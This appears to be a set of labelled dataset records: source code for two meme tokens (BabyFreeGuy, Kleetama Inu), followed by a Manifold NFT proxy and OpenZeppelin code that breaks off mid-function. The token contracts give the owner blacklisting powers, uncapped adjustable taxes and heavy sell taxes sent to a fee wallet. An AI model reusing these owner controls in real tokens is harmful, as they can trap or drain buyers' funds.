Baby Free Guy Token , Stealth Launch Project. Hope You Enjoy
T.me/BabyFreeGuy
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyFreeGuy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BabyFreeGuy";
string private constant _symbol = "BabyFreeGuy";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xa7B90FDAb777592AF55bA49d06fb4f310B62C485);
_feeAddrWallet2 = payable(0xa7B90FDAb777592AF55bA49d06fb4f310B62C485);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 10;
_feeAddr2 = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
/**
* https://t.me/kleetama
*
*
* SPDX-License-Identifier: Unlicensed
* */
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
struct FirstPurchase {
uint256 amount;
uint256 timestamp;
}
struct Taxes {
uint256 marketing;
uint256 redistribution;
uint256 earlySellPenalty;
}
contract KleetamaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
Taxes _taxes = Taxes({
marketing: 10,
redistribution: 1,
earlySellPenalty: 28
});
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => FirstPurchase) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Kleetama Inu";
string private constant _symbol = "KTAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe131049BbA6846AbcBEC82A4a8BC20Df915a43e8);
_feeAddrWallet2 = payable(0xe131049BbA6846AbcBEC82A4a8BC20Df915a43e8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function setMarketingWallets(address walletOne, address walletTwo) external onlyOwner {
_feeAddrWallet1 = payable(walletOne);
_feeAddrWallet2 = payable(walletTwo);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function excludeFromFee (address addy, bool excluded) external onlyOwner {
_isExcludedFromFee[addy] = excluded;
}
function originalPurchase(address account) public view returns (uint256, uint256) {
return (_buyMap[account].timestamp, _buyMap[account].amount);
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setTaxes(uint256 marketingTax, uint256 redistributionTax, uint256 earlySellPenaltyTax) external onlyOwner {
_taxes = Taxes({
marketing: marketingTax,
redistribution: redistributionTax,
earlySellPenalty: earlySellPenaltyTax
});
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 24 HOURS
if (_buyMap[from].timestamp != 0 &&
(_buyMap[from].timestamp + (24 hours) >= block.timestamp)) {
_feeAddr1 = _taxes.redistribution;
_feeAddr2 = _taxes.earlySellPenalty;
} else {
_feeAddr1 = _taxes.redistribution;
_feeAddr2 = _taxes.marketing;
}
} else {
if (_buyMap[to].timestamp == 0) {
_buyMap[to].timestamp = block.timestamp;
_buyMap[to].amount = amount;
}
_feeAddr1 = _taxes.redistribution;
_feeAddr2 = _taxes.marketing;
}
if (_isExcludedFromFee[to]) {
_feeAddr1 = 0;
_feeAddr2 = 0;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9 / 4;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setMaxTx(uint256 max) public onlyOwner {
_maxTxAmount = max * 10 ** 9;
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Rivvrward
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// █████╗ ███████╗ ███████╗ █████╗ ██████╗ █████╗ ███████╗ //
// ██╔══██╗██╔════╝ ██╔════╝██╔══██╗██╔══██╗ ██╔══██╗██╔════╝ //
// ███████║███████╗ █████╗ ███████║██████╔╝ ███████║███████╗ //
// ██╔══██║╚════██║ ██╔══╝ ██╔══██║██╔══██╗ ██╔══██║╚════██║ //
// ██║ ██║███████║ ██║ ██║ ██║██║ ██║ ██║ ██║███████║ //
// ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ //
// //
// ██╗ ██████╗ █████╗ ███╗ ██╗ ███████╗███████╗███████╗ //
// ██║ ██╔════╝██╔══██╗████╗ ██║ ██╔════╝██╔════╝██╔════╝ //
// ██║ ██║ ███████║██╔██╗ ██║ ███████╗█████╗ █████╗ //
// ██║ ██║ ██╔══██║██║╚██╗██║ ╚════██║██╔══╝ ██╔══╝ //
// ██║ ╚██████╗██║ ██║██║ ╚████║ ███████║███████╗███████╗ //
// ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝╚══════╝╚══════╝ //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////
contract RIV is ERC721Creator {
constructor() ERC721Creator("Rivvrward", "RIV") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overridden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
